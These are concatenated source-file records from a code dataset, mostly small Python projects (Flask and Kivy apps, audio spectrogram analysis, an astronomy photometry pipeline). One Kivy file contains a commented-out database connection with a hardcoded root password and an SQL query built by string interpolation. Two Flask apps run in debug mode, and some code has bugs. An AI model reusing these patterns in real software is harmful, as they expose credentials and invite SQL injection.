flask import Flask, render_template, request, redirect\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom datetime import datetime\r\n\r\napp = Flask(__name__)\r\napp.config['SQLACHEMY_DATABASE_URI'] = 'sqlite:///test.db'\r\ndb = SQLAlchemy(app)\r\n\r\nclass Dungeon(db.Model):\r\n id = db.Column(db.Integer, primary_key=True)\r\n name = db.Column(db.String(20), nullable=False)\r\n created_at = db.Column(db.DateTime, nullable=False,\r\n default=datetime.utcnow)\r\n\r\n def __repr__(self):\r\n return '' % self.name\r\n\r\n@app.route('/', methods=['GET', 'POST'])\r\n@app.route('/index')\r\ndef index():\r\n if request.method == 'POST':\r\n name = request.form['name']\r\n new_item = Dungeon(name=name)\r\n\r\n try:\r\n db.session.add(new_item)\r\n db.session.commit()\r\n return redirect('/')\r\n except:\r\n return \"Error adding new item\"\r\n \r\n else:\r\n dungeons = Dungeon.query.order_by(Dungeon.created_at).all()\r\n return render_template('index.html', dungeons=dungeons)\r\n\r\n return render_template('index.html', title=\"Top Dungeon\")\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)","repo_name":"LeoKnox/webpage_flask","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38629666172","text":"import mysql\n\nfrom kivy.app import App\nfrom kivy.properties import ObjectProperty, Clock, StringProperty\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.button import Button\nfrom kivy.uix.label import Label\nfrom kivy.uix.relativelayout import RelativeLayout\nfrom kivy.uix.scrollview import ScrollView\n\nimport arquivoPagina\n\nimport arquivos\nimport crudCasos\nimport primeiraPagina\n\n\nclass CasosPagina(RelativeLayout):\n nomeCapitulo = StringProperty()\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n Clock.schedule_once(self.post_init, 0)\n\n\n def post_init(self, *args):\n self.nomeCapitulo = 'teste'\n app = App.get_running_app()\n app.root.label = self.ids.labelPagina\n\n def displayCaso(self, instance):\n self.ids.descCap.disabled = True\n self.ids.descCap.background_color = [0, 0, 0, 0]\n \"\"\"\n try:\n mydb = mysql.connector.connect(\n host=\"localhost\",\n user=\"root\",\n passwd=\"123456\",\n database=\"librus\",\n )\n\n c = mydb.cursor()\n\n c.execute(f\"SELECT nomeCaso, descricao FROM casos WHERE idcasos = {id_caso}\")\n resultados = c.fetchall()\n c.close()\n mydb.close()\n except:\n resultados = [('Teste 1', 'Descrição do teste')]\n print(resultados)\n \"\"\"\n app = App.get_running_app()\n app.tituloCaso = str(instance.titulo)\n app.descCaso = instance.desc\n app.root.label.text = str(instance.ids['id'])\n print('ids instancia: ', instance.ids['id'])\n\n def deletarCaso(self, instance):\n arquivos.excluirPasta(instance.ids[\"id\"])\n crudCasos.deletarCaso(instance.ids[\"id\"])\n\n #print(f'id: {instance.ids[\"id\"]}')\n app = App.get_running_app()\n tmp = app.root.caixa\n #print('temp: ', tmp)\n tmp.remove_widget(instance)\n tmp.remove_widget(instance.input)\n #tmp.remover_widget(primeiraPagina.ViewCasos())\n\n def editarCaso(self, instance):\n if self.ids.descCap.disabled == True:\n self.ids.descCap.disabled = False\n self.ids.descCap.background_color = [0.8, 0.8, 0.8, 0.5]\n self.ids.nomeCap.disabled = False\n self.ids.nomeCap.background_color = [0.8, 0.8, 0.8, 0.5]\n else:\n self.ids.descCap.disabled = True\n self.ids.descCap.background_color = [0, 0, 0, 0]\n self.ids.nomeCap.disabled = True\n self.ids.nomeCap.background_color = [0, 0, 0, 0]\n app = App.get_running_app()\n app.root.atualizar += 1\n if app.root.atualizar == 1:\n self.ids.btnDeletar.disabled = True\n self.ids.btnDeletar.opacity = 0\n self.ids.imageAtualizar.source = 'images/icons/icon-done.png'\n else:\n self.ids.btnDeletar.disabled = False\n self.ids.btnDeletar.opacity = 1\n self.ids.imageAtualizar.source = 'images/icons/icon-edit.png'\n if app.root.atualizar == 2:\n app.root.atualizar = 0\n crudCasos.atualizarCaso(instance.ids[\"id\"], self.ids.nomeCap.text, self.ids.descCap.text)\n instance.text = f'{self.ids.nomeCap.text}' if len(self.ids.nomeCap.text) < 15 else f'{self.ids.nomeCap.text[0:15]}...'\n instance.input.text = f'{self.ids.descCap.text[0:100]}...'\n print('Atualizar: ', app.root.atualizar)\n\n def arquivos(self, instance):\n lista = arquivos.visualizarArquivo(instance.ids['id'])\n app = App.get_running_app()\n print('BoxArch listarArquivos: ')\n tmp = app.root.arch\n if len(lista) > 0:\n #tmp.add_widget(Label(text='tchau', font_size=30, size_hint_y=None, height=200))\n print('temp: ', tmp)\n for item in lista:\n label = Label(text=f'{item[1]}.{item[2]}' if len(item[1]) < 30 else f'{item[1][0:30]}....{item[2]}', pos_hint = {'left': 1}, font_size=20, size_hint_y=None, height=30, color = (0, 0, 0), halign = 'left')\n tmp.add_widget(label)\n button = Button(size_hint_y = None, size_hint_x = 0.05, pos_hint = {'right': 1}, height = 30)\n #source: 'images/icons/icon-deletev2.png'\n button.bind(on_press = self.pressed)\n button.nome = item\n button.id = instance.ids['id']\n button.idAnexo = item[0]\n button.label = label\n tmp.add_widget(button)\n\n\n print('lista: ', lista)\n\n app.root.anterior = app.root.current\n app.root.transition.direction = 'right'\n app.root.current = 'archTela'\n\n def pressed(self, instance):\n app = App.get_running_app()\n nome_arquivo = instance.nome[1] + '.' + instance.nome[2]\n arquivos.excluirArquivo(nome_arquivo, instance.id, instance.idAnexo)\n # print(f'id: {instance.ids[\"id\"]}')\n\n tmp = app.root.arch\n # print('temp: ', tmp)\n tmp.remove_widget(instance)\n tmp.remove_widget(instance.label)\n\n\n\nclass CaixaTitulo(BoxLayout):\n pass\n\n\nclass CaixaDescricao(BoxLayout):\n pass\n\n\n","repo_name":"abner-y/Librus","sub_path":"casosPagina.py","file_name":"casosPagina.py","file_ext":"py","file_size_in_byte":5172,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"24843881542","text":"from scipy.io import wavfile\nfrom scipy import signal\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom helpers import *\n\ndef spectrogram_plot(samples, sample_rate,t = 11000):\n frequencies, times, my_spectrogram = signal.spectrogram(samples, sample_rate, scaling = 'spectrum', window = ('hann'))\n spec = np.log10(my_spectrogram)\n plt.pcolormesh(times, frequencies, spec, shading='gouraud', vmin=spec.min(), vmax=spec.max())\n\n \n plt.ylim(top=t)\n plt.yticks(np.arange(min(frequencies), max(frequencies), 500))\n plt.ylabel('Частота [Гц]')\n plt.xlabel('Время [с]')\n return my_spectrogram, frequencies\n\nif __name__ == '__main__':\n change_sample_rate(\"voice_a.wav\")\n sample_rate_a , samples_a = wavfile.read(\"results/wavs/voice_a.wav\")\n\n dpi = 500\n spectogram_a, frequencies_a = spectrogram_plot(samples_a, sample_rate_a, 11000)\n plt.axhline(y = 344, color = 'r', linestyle = '-', lw= 0.5, label = \"Форманты\")\n plt.axhline(y = 602, color = 'r', linestyle = '-', lw= 0.5)\n plt.axhline(y = 861, color = 'r', linestyle = '-', lw= 0.5)\n plt.axhline(y = 1119, color = 'r', linestyle = '-', lw= 0.5)\n plt.legend()\n plt.savefig('results/spectrogram_a.png', dpi = dpi)\n plt.clf()\n\n change_sample_rate(\"voice_i.wav\")\n sample_rate_i , samples_i = wavfile.read(\"results/wavs/voice_i.wav\")\n spectogram_i, frequencies_i = spectrogram_plot(samples_i, sample_rate_i, 11000)\n plt.axhline(y = 344, color = 'r', linestyle = '-', lw= 0.5, label = \"Форманты\")\n plt.axhline(y = 602, color = 'r', linestyle = '-', lw= 0.5)\n plt.axhline(y = 86, color = 'r', linestyle = '-', lw= 0.5)\n plt.axhline(y = 2928, color = 'r', linestyle = '-', lw= 0.5)\n plt.legend()\n plt.savefig('results/spectrogram_i.png', dpi = dpi)\n plt.clf()\n\n change_sample_rate(\"voice_gav.wav\")\n sample_rate_gav , samples_gav = wavfile.read(\"results/wavs/voice_gav.wav\")\n spectogram_gav, frequencies_gav = spectrogram_plot(samples_gav, sample_rate_gav, 11000)\n plt.savefig('results/spectrogram_gav.png', dpi = dpi)\n plt.clf()\n\n spec_a = integral_image(spectogram_a)\n \n formants_a = list(find_all_formants(frequencies_a, spec_a, 3))\n formants_a.sort()\n\n print(\"Минимальная частота для звука А: \" + str(formants_a[0]))\n print(\"Максимальная частота для звука А: \" + str(formants_a[-1]))\n\n print(\"Тембрально окрашенный тон для звука А: \" + str(formants_a[0]))\n\n power_a = power(frequencies_a, spec_a, 3, formants_a)\n print(sorted(power_a.items(), key = lambda item: item[1], reverse=True))\n print(\"Четыре самые сильные форманты: \" + str(sorted(power_a, key=lambda i: power_a[i])[-4:]))\n\n spec_i = integral_image(spectogram_i)\n \n formants_i = list(find_all_formants(frequencies_i, spec_i, 3))\n formants_i.sort()\n\n print(\"\\n\\nМинимальная частота для звука И: \" + str(formants_i[0]))\n print(\"Максимальная частота для звука И: \" + str(formants_i[-1]))\n\n print(\"Тембрально окрашенный тон для звука И: \" + str(formants_i[0]))\n\n power_i = power(frequencies_i, spec_i, 3, formants_i)\n print(sorted(power_i.items(), key = lambda item: item[1], reverse=True))\n print(\"Четыре самые сильные форманты: \" + str(sorted(power_i, key=lambda i: power_i[i])[-4:]))\n\n spec_gav = integral_image(spectogram_gav)\n \n formants_gav = list(find_all_formants(frequencies_gav, spec_gav, 5))\n formants_gav.sort()\n\n print(\"\\n\\nМинимальная частота для звука ГАВ: \" + str(formants_gav[0]))\n print(\"Максимальная частота для звука ГАВ: \" + str(formants_gav[-2]))\n\n# print(\"Тембрально окрашенный тон для звука ГАВ: \" + str(formants_gav[0]))\n\n# power_gav = power(frequencies_gav, spec_gav, 5, formants_gav)\n# power_gav.pop(8268)\n# print(sorted(power_gav.items(), key = lambda item: item[1], reverse=True))\n# print(\"Четыре самые сильные форманты: \" + str(sorted(power_gav, key=lambda i: power_gav[i])[-4:]))","repo_name":"nekit2-002/avip_labs","sub_path":"laba10/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4239,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19329505281","text":"from enum import Enum\nfrom enum import unique\nfrom typing import List\nfrom typing import Optional\nfrom typing import Tuple\n\nfrom pydantic import BaseModel\n\n\n@unique\nclass ResourceLockOperationSchema(str, Enum):\n \"\"\"Operations schema for locking a resource.\"\"\"\n\n READ = 'read'\n WRITE = 'write'\n\n class Config:\n use_enum_values = True\n\n\nclass ResourceLockCreateSchema(BaseModel):\n \"\"\"Schema for creating resource lock by key and operation.\"\"\"\n\n resource_key: str\n operation: ResourceLockOperationSchema\n\n\nclass ResourceLockBulkCreateSchema(BaseModel):\n \"\"\"Schema for bulk creating resource lock by keys and operations.\"\"\"\n\n resource_keys: List[str]\n operation: ResourceLockOperationSchema\n\n\nclass ResourceLockResponseSchema(BaseModel):\n \"\"\"Schema for key and status of locked resource in response.\"\"\"\n\n key: str\n status: Optional[str] = False\n\n\nclass ResourceLockBulkResponseSchema(BaseModel):\n \"\"\"Schema for status of operation locking for multiple keys.\"\"\"\n\n keys_status: List[Tuple[str, bool]]\n\n def is_successful(self) -> bool:\n \"\"\"Return true if all statuses are true.\"\"\"\n\n return all(status for _, status in self.keys_status)\n","repo_name":"PilotDataPlatform/pilot-hdc-dataops","sub_path":"dataops/components/resource_lock/schemas.py","file_name":"schemas.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27568154834","text":"import collections\nco = collections.Counter()\nfile_read = open(\"moti.txt\",'r')\n\nfor letter in file_read:\n co.update(letter.lower())\nprint(co)\n\nfor letter,count in co.most_common(5):\n print(\"%s : %d\" %(letter,count))\n\n\n","repo_name":"mjhiremath/Practice","sub_path":"collectionfile.py","file_name":"collectionfile.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17561317319","text":"# -*- coding: utf-8 -*-\r\n\r\nimport copy\r\nfrom jinja2 import nodes\r\nfrom jinja2.ext import Extension\r\nfrom openpyxl.cell.text import RichText\r\n\r\ndef yes(font):\r\n wfont = copy.copy(font)\r\n wfont.name = 'Wingdings 2'\r\n return 'R', wfont\r\n\r\ndef yesx(font):\r\n wfont = copy.copy(font)\r\n wfont.rFont = 'Wingdings 2'\r\n return RichText(t='R', rPr=wfont)\r\n\r\ndef no():\r\n return u'□'\r\n\r\ndef yn(value, font, xlsx):\r\n if value:\r\n if xlsx:\r\n return yesx(font)\r\n else:\r\n return yes(font)\r\n else:\r\n return no()\r\n\r\nclass YnExtension(Extension):\r\n tags = set(['yn'])\r\n\r\n def __init__(self, environment):\r\n super(self.__class__, self).__init__(environment)\r\n\r\n def parse(self, parser):\r\n lineno = next(parser.stream).lineno\r\n args = [parser.parse_expression()]\r\n if parser.stream.skip_if('comma'):\r\n args.append(parser.parse_expression())\r\n else:\r\n args.append(nodes.Const(None))\r\n body = []\r\n return nodes.CallBlock(self.call_method('_yn', args),\r\n [], [], body).set_lineno(lineno)\r\n\r\n def _yn(self, arg0, arg1, caller):\r\n section = self.environment.sheet_pos.current_node\r\n #rv = caller()\r\n if arg1 is not None:\r\n arg0 = not arg0\r\n rv = yn(arg0, section.font, self.environment.xlsx)\r\n rv = section.addv(rv)\r\n return rv","repo_name":"zhangyu836/python-xls-template","sub_path":"xlstpl/ynext.py","file_name":"ynext.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"14171271722","text":"\n# 1. Поработайте с переменными, создайте несколько, выведите на экран, запросите у пользователя несколько чисел и\n# строк и сохраните в переменные, выведите на экран.\n\na = 5\nb = True\nc = 'string'\n\nprint(a, b, c)\n\nt = input('Введите ваше ФИО: ')\ns = int(input('Введите день рождения: '))\nd = input('Введите месяц рождения: ')\nn = int(input('Введите год рождения: '))\n\nprint(f'{t} родился {s} {d} {n}')","repo_name":"Okonce/geekbrains","sub_path":"python/lesson_1/task_1.py","file_name":"task_1.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34896922639","text":"# Given a dictionary of words and an input string tell whether the input string can be \n#completely segmented into dictionary words\n\ndef string_segmentation(str1,dict1,solved):\n\tfor i in range(1,len(str1)+1):\n\t\tfirst_word = str1[:i]\n\t\tprint(i,first_word)\n\t\tif first_word in dict1:\n\t\t\tsecond_word = str1[i:]\n\t\t\tif not second_word:\n\t\t\t\treturn True\n\t\t\tif second_word not in solved:\n\t\t\t\tif string_segmentation(second_word,dict1,solved):\n\t\t\t\t\treturn True\t\t\n\t\t\t\tsolved.add(second_word)\n\treturn False\n\ndef can_segment_string(s, dict):\n solved = set([])\n return string_segmentation(s, dict, solved)\n \n \nif __name__ == '__main__':\n s = \"applepie\";\n dict = set([\"pie\",\"pear\",\"apple\",\"peach\"])\n if can_segment_string(s, dict):\n print (\"can break.\")\n else:\n print (\"can't break.\")\n","repo_name":"yuvrajarora/code-practice","sub_path":"string_segmentation.py","file_name":"string_segmentation.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21225793878","text":"\"\"\"Grabber for collecting data\"\"\"\nimport urllib2\nfrom random import sample\n\nfrom veliberator.settings import PROXY_SERVERS\n\n\nclass Grabber(object):\n \"\"\"Url encapsultation for making request throught HTTP\"\"\"\n page = None\n data = None\n\n def __init__(self, url, proxies=PROXY_SERVERS):\n \"\"\"Init the grabber\"\"\"\n self.url = url\n self.proxies = proxies\n self.opener = self.build_opener()\n\n def build_opener(self):\n \"\"\"Build the url opener\"\"\"\n handlers = []\n\n if self.proxies:\n server = sample(self.proxies, 1)[0]\n handlers.append(urllib2.ProxyHandler({'http': server}))\n\n return urllib2.build_opener(*handlers)\n\n @property\n def content(self):\n \"\"\"Return the data grabbed\"\"\"\n if self.data:\n return self.data\n try:\n self.page = self.opener.open(self.url)\n self.data = ''.join(self.page.readlines())\n self.page.close()\n return self.data\n except:\n return ''\n","repo_name":"Fantomas42/veliberator","sub_path":"veliberator/grabber.py","file_name":"grabber.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"75"} +{"seq_id":"9245642233","text":"import pickle\nfrom flask import Flask, request, render_template, send_from_directory\nimport numpy as np\nimport os,sys\nimport pandas as pd\nfrom Algerian_Forest_Fire.exception import ForestFireException\nfrom Algerian_Forest_Fire.pipeline.main_pipeline import main_pipeline\nfrom utility.util import *\n\n# check if the pipeline objects are working correctly or not \n# initiating both model best pipelines on the begning\n# adding additional form to the form input ( project input.html)\n# updating its output functions of the data \n \napp = Flask(__name__, static_folder = 'static')\n\n# Open our pickle file in which model information is stored.\ntry:\n model_regression = pickle.load(open('Reg_Final_Pipeline\\\\final_pipeline.pkl', 'rb'))\n model_classification = pickle.load(open('Classi_Final_Pipeline\\\\final_pipeline.pkl', 'rb'))\n \nexcept Exception as e:\n raise ForestFireException(e, sys) from e\n\n# This function will execute as our home screen stored in home.html\n@app.route('/', methods=['GET'])\ndef home():\n return render_template('home.html')\n\n# This function is linked with the html form by the name of predict and\n# this will first take up the value from the form and then predict it with\n# our model stored in the pickle\n\n\n@app.route('/run_pipeline')\ndef run_pipeline():\n\n try: \n\n pipeline = main_pipeline()\n pipeline.initiate_pipeline()\n\n # getting the info of the latest log file \n\n log_path = get_latest_file('logs')\n\n # Read the content of the text file\n \n with open(log_path, 'r') as file:\n log_content = file.read()\n\n # Render the content in an HTML template\n \n return render_template('Pipeline_log.html', text_content=log_content)\n except Exception as e:\n raise ForestFireException(e, sys) from e\n\n\n# showing logs: \n@app.route('/show_logs')\ndef show_logs():\n\n log_path = get_latest_file('logs')\n\n # Read the content of the text file\n \n with open(log_path, 'r') as file:\n log_content = file.read()\n\n # Render the content in an HTML template\n \n return render_template('Pipeline_log.html', text_content=log_content)\n \n\n \n\n# for rendering project_input\n@app.route('/project_input')\ndef project_input():\n\n return render_template('project_input.html')\n\n\n\n\n@app.route('/predict_regressor', methods=['POST'])\ndef predict_regressor():\n\n \n\n data = [float(x) for x in request.form.values()]\n final_feature = np.array(data)\n\n row_to_predict = [final_feature]\n df=pd.DataFrame(row_to_predict)\n\n output=model_regression.predict(df)\n \n output =round(output[0],2)\n\n \n print(output)\n \n prediction_result = f\"Predicted Result: {output} Celsius\"\n\n return render_template('result.html', prediction_text=prediction_result)\n\n@app.route('/predict_classification', methods=['POST'])\ndef predict_classification():\n\n \n\n data = [float(x) for x in request.form.values()]\n final_feature = np.array(data)\n\n row_to_predict = [final_feature]\n df=pd.DataFrame(row_to_predict)\n\n output=model_classification.predict(df)\n\n if(output == 1):\n result= \"Yes there is a Forest Fire in Algerian Forest\"\n elif(output == 0):\n result = 'Relax there is No forest fire in Algerian Forest'\n \n print(output)\n \n prediction_result = f\"{result}\"\n\n return render_template('result.html', prediction_text=prediction_result)\n \n# Data drift report\n@app.route('/data_drift_report')\ndef data_drift_report():\n return render_template('Data_drift_report/Data_Drift_Report.html')\n\n# for Pandas Profiling before the transformation\n@app.route('/data_analysis_report')\ndef data_analysis_report():\n return render_template('PandasProfiling_before/Pandas_profiling.html')\n\n# for Pandas Profiling after the transformation\n@app.route('/data_analysis_transformed_report')\ndef data_analysis_transformed_report():\n return render_template('Transformed_Data_Analysis/Pandas_Profile.html')\n\n# Creating a file system that contains all the directories containing in the artifact folder\n# Define the root directory you want to list\n \n\n# Define the root directory you want to list\nroot_directory = 'artifact' # Replace with your directory name\n\ndef list_directory_contents(directory):\n # Get a list of all items (files and subdirectories) in the given directory\n\n try:\n\n items = os.listdir(directory)\n\n # Separate files and subdirectories\n files = []\n subdirectories = []\n\n for item in items:\n item_path = os.path.join(directory, item)\n if os.path.isdir(item_path):\n subdirectories.append(item)\n else:\n files.append(item)\n\n return files, subdirectories\n\n except Exception as e:\n raise ForestFireException(e, sys) from e\n\ndef generate_directory_tree(directory):\n try:\n # Generate a tree structure of the directory and its subfolders\n tree = {}\n\n for root, dirs, files in os.walk(directory):\n current_node = tree\n for dir_name in os.path.relpath(root, directory).split(os.sep):\n if dir_name not in current_node:\n current_node[dir_name] = {}\n current_node = current_node[dir_name]\n\n current_node['FILES'] = files\n\n return tree\n except Exception as e:\n raise ForestFireException(e, sys) from e\n\n@app.route('/opening_artifact')\ndef opening_artifact():\n try:\n\n # Get the requested directory path from the query parameter\n directory = request.args.get('dir', root_directory)\n\n # Get the absolute path of the requested directory\n current_directory = os.path.dirname(os.path.abspath(__file__))\n directory_absolute_path = os.path.join(current_directory, directory)\n \n # Ensure the requested directory is within the root directory\n if not directory_absolute_path.startswith(os.path.join(current_directory, root_directory)):\n return \"Access denied.\"\n\n # List the files and subdirectories in the requested directory\n files, subdirectories = list_directory_contents(directory_absolute_path)\n\n # Generate a directory tree structure\n directory_tree = generate_directory_tree(directory_absolute_path)\n\n return render_template('list_directory.html', root_directory=root_directory, directory=directory, subdirectories=subdirectories, directory_tree=directory_tree, files=files)\n except Exception as e:\n raise ForestFireException(e, sys) from e\n\n@app.route('/view_file/')\ndef view_file(file_path):\n\n try:\n # Get the absolute path of the requested file\n current_directory = os.path.dirname(os.path.abspath(__file__))\n file_absolute_path = os.path.join(current_directory, file_path)\n\n # Ensure the requested file is within the root directory\n if not file_absolute_path.startswith(os.path.join(current_directory, root_directory)):\n return \"Access denied.\"\n\n # Check if the file exists and is a file (not a directory)\n if os.path.exists(file_absolute_path) and os.path.isfile(file_absolute_path):\n return send_file(file_absolute_path)\n\n # If the file doesn't exist or is not allowed, return a 404 error\n return \"File not found or not allowed.\", 404\n\n except Exception as e:\n raise ForestFireException(e, sys) from e\n\n\n\n# reading config files for the best model selected:\n\n\n@app.route('/display_text_file_reg')\ndef display_text_file_reg():\n try:\n # Read the content of the text file\n with open('Reg_model_status.yaml', 'r') as file:\n text_content = file.read()\n\n # Render the content in an HTML template\n return render_template('model_status_reg.html', text_content=text_content)\n except Exception as e:\n raise ForestFireException(e, sys) from e\n\n\n# For classification \n\n\n@app.route('/display_text_file_classi')\ndef display_text_file_classi():\n try:\n # Read the content of the text file\n with open('Classi_model_status.yaml', 'r') as file:\n text_content = file.read()\n\n # Render the content in an HTML template\n return render_template('model_status_classi.html', text_content=text_content)\n except Exception as e:\n raise ForestFireException(e, sys) from e\n\n\n\n# reading config files for models and its parameters:\n\n\n@app.route('/reg_models_used')\ndef reg_models_used():\n # Read the content of the text file\n try:\n with open('model_regression.yaml', 'r') as file:\n text_content = file.read()\n\n # Render the content in an HTML template\n return render_template('all_models_reg.html', text_content=text_content)\n except Exception as e:\n raise ForestFireException(e, sys) from e\n\n\n@app.route('/classi_models_used')\ndef classi_models_used():\n # Read the content of the text file\n try:\n with open('model_classification.yaml', 'r') as file:\n text_content = file.read()\n\n # Render the content in an HTML template\n return render_template('all_models_classi.html', text_content=text_content)\n except Exception as e:\n raise ForestFireException(e, sys) from e\n\n\n@app.route('/configuration')\ndef configuration():\n try:\n # Read the content of the text file\n with open('config.yaml', 'r') as file:\n text_content = file.read()\n\n # Render the content in an HTML template\n return render_template('configuration.html', text_content=text_content)\n except Exception as e:\n raise ForestFireException(e, sys) from e\n\n\n\n@app.route('/get_schema')\ndef get_schema():\n\n # Read the content of the text file\n try:\n with open('schema.yaml', 'r') as file:\n text_content = file.read()\n\n # Render the content in an HTML template\n return render_template('schema.html', text_content=text_content)\n except Exception as e:\n raise ForestFireException(e, sys) from e\n\n# Add this route to your existing Flask app\n@app.route('/show_image')\ndef show_image():\n # Define the filename of the image you want to display (replace 'your_image.jpg' with the actual filename)\n image_filename = 'PCA.png'\n \n \n try:\n # Use send_from_directory to serve the image\n return send_from_directory('PCA', image_filename)\n\n \n except FileNotFoundError:\n return \"Image not found\", 404\n \n@app.route('/pca', methods=['GET'])\ndef pca():\n return render_template('show_image.html')\n \n\nif __name__ == '__main__':\n app.run(debug=True)\n \n\n \n \n","repo_name":"lokeshkharkwal7/Algerian_forest_fire_data_2023","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":10802,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"29967777475","text":"#!/usr/bin/env python\n\n\"\"\"\nautoimagesub.py - Waqas Bhatti (wbhatti@astro.princeton.edu) - 09/2016\n\nThis contains functions to run image subtraction photometry continuously.\nNamely,\n\nImage & Database management:\n\n fitslist_frameinfo: parallelizes get_frame_info\n get_frame_info: gets info from frame for selecting photref candidates.\n\n parallel_frames_to_database\n calibrated_frame_to_database\n calframe_to_db_worker\n arefshifted_frame_to_database\n arefshifted_frame_to_db_worker\n dbupdate_calibratedframe\n convsubtracted_frame_to_database\n\nAstrometric references:\n\n dbgen_get_astromref\n generate_astromref\n dbget_astromref: from postgresql database\n get_astromref: from sqlite database\n frames_astromref_worker\n framelist_make_xtrnsfits\n\nPhotometric references:\n\n generate_photref_candidates_from_xtrns\n amend_candidate_photrefs\n generate_combined_photref\n get_combined_photref\n insert_phots_into_database\n\nImage subtraction:\n\n xtrnsfits_convsub_worker\n parallel_xtrnsfits_convsub\n convsubfits_staticphot_worker: photometry on subtracted frames\n parallel_convsubfits_staticphot\n\"\"\"\n\n#############\n## IMPORTS ##\n#############\n\nimport os\nimport os.path\nimport glob\nimport multiprocessing as mp\n\ntry:\n import subprocess32 as subprocess\n from subprocess32 import check_output\nexcept:\n import subprocess\n from subprocess import check_output\n\nimport shlex\nfrom datetime import datetime\nimport re\nimport json\nimport shutil\nimport random\nfrom functools import partial\n\ntry:\n import cPickle as pickle\nexcept:\n import pickle\n\nimport sqlite3\nimport time\nfrom hashlib import md5, sha256\nimport gzip\nfrom traceback import format_exc\ntry:\n from cStringIO import StringIO\nexcept ImportError:\n from io import StringIO\n\nimport tempfile\n\nimport numpy as np, pandas as pd\nfrom numpy import nan\nimport psycopg2 as pg\nfrom psycopg2.extras import Json\n\nfrom astropy import wcs\n\ntry:\n from framecalib import make_frame_movie\nexcept ModuleNotFoundError:\n print('WRN! not importing framecalib; was not found.')\nimport aperturephot as ap\nimport imagesubphot as ism\nfrom imageutils import get_header_keyword, get_header_keyword_list, \\\n fits_to_full_jpeg, check_frame_warping, frame_radecbox_to_jpeg, \\\n fitscoords_to_jpeg\n\nimport shared_variables as sv\n\n# get fiphot binary reader\ntry:\n from HATpipepy.Common.BinPhot import read_fiphot\n HAVEBINPHOT = True\nexcept:\n print(\"can't import binary fiphot reading functions from \"\n \"HATpipe, binary fiphot files will be unreadable!\")\n HAVEBINPHOT = False\n\n\n############\n## CONFIG ##\n############\n\nDEBUG = True\n\n# used to get the station ID, frame number, and CCD number from a FITS filename\nFRAMEREGEX = re.compile(r'(\\d{1})\\-(\\d{6}\\w{0,1})_(\\d{1})')\n# used to get the station ID, frame number, subframe, and CCD number\nFRAMESUBREGEX = re.compile(r'(\\d{1})\\-(\\d{6})(\\w{0,1})_(\\d{1})')\n# this defines the field string and CCDs\nFIELD_REGEX = re.compile('^G(\\d{2})(\\d{2})([\\+\\-]\\d{2})(\\d{2})_(\\w{3})$')\nFIELD_CCDS = [5,6,7,8]\n# this is to recognize a HATID\nHATIDREGEX = re.compile(r'^HAT\\-\\d{3}\\-\\d{7}$')\n\n# defines where the reference frames go\nREFBASEDIR = sv.REFBASEDIR\nREFINFO = sv.REFINFO\n# define where the frameinfo cache is\nFRAMEINFOCACHEDIR = sv.FRAMEINFOCACHEDIR\n# these define the field catalog location and properties\nFIELDCAT_DIR = sv.FIELDCAT_DIR\n# these define the light curve directory\nLCBASEDIR = sv.LCPATH\n\n# these define the postgres database credentials\nPGPASSFILE = sv.PGPASSFILE\nPGUSER = sv.PGUSER\nPGDATABASE = sv.PGDATABASE\nPGHOST = sv.PGHOST\n\nif os.path.exists(PGPASSFILE):\n with open(PGPASSFILE) as infd:\n pgpass_contents = infd.readlines()\n pgpass_contents = [x.split(':') for x in pgpass_contents if not\n x.startswith('#')]\n PGPASSWORD = [x[-1] for x in pgpass_contents\n if (x[0] == PGHOST and\n x[2] == PGDATABASE and\n x[3] == PGUSER)]\n PGPASSWORD = PGPASSWORD[0].strip('\\n')\nelse:\n print('ERR! %sZ: could not find postgres database credientials at %s' %\n (datetime.utcnow().isoformat(), PGPASSFILE))\n\n\n###############\n## UTILITIES ##\n###############\n\ndef smartcast(castee, caster, subval=None):\n \"\"\"\n This just tries to apply the caster function to castee.\n\n Returns None on failure.\n \"\"\"\n\n try:\n return caster(castee)\n except Exception as e:\n if caster is float or caster is int:\n return nan\n elif caster is str:\n return ''\n else:\n return subval\n\n\n\ndef fits_fieldprojectidccd_worker(frame):\n \"\"\"\n This is a worker for the two functions below.\n \"\"\"\n\n try:\n\n # first, figure out the input frame's projid, field, and ccd\n frameelems = get_header_keyword_list(frame,\n ['object',\n 'projid'])\n felems = FRAMEREGEX.findall(\n os.path.basename(frame)\n )\n field, ccd, projectid = (frameelems['object'],\n felems[0][2],\n frameelems['projid'])\n\n return frame, (field, projectid, int(ccd))\n\n except Exception as e:\n\n print('ERR! %sZ: could get info from frame %s, error was: %s' %\n (datetime.utcnow().isoformat(), frame, e))\n return frame, None\n\n\n\ndef find_original_fits_in_database(field, projectid, ccd,\n enforceok=True,\n database=None):\n \"\"\"\n This finds the FITS matching the field-projectid-ccd combo in the DB.\n \"\"\"\n\n\n\n\ndef find_original_fits_fieldprojectidccd(dirlist,\n field,\n projectid,\n 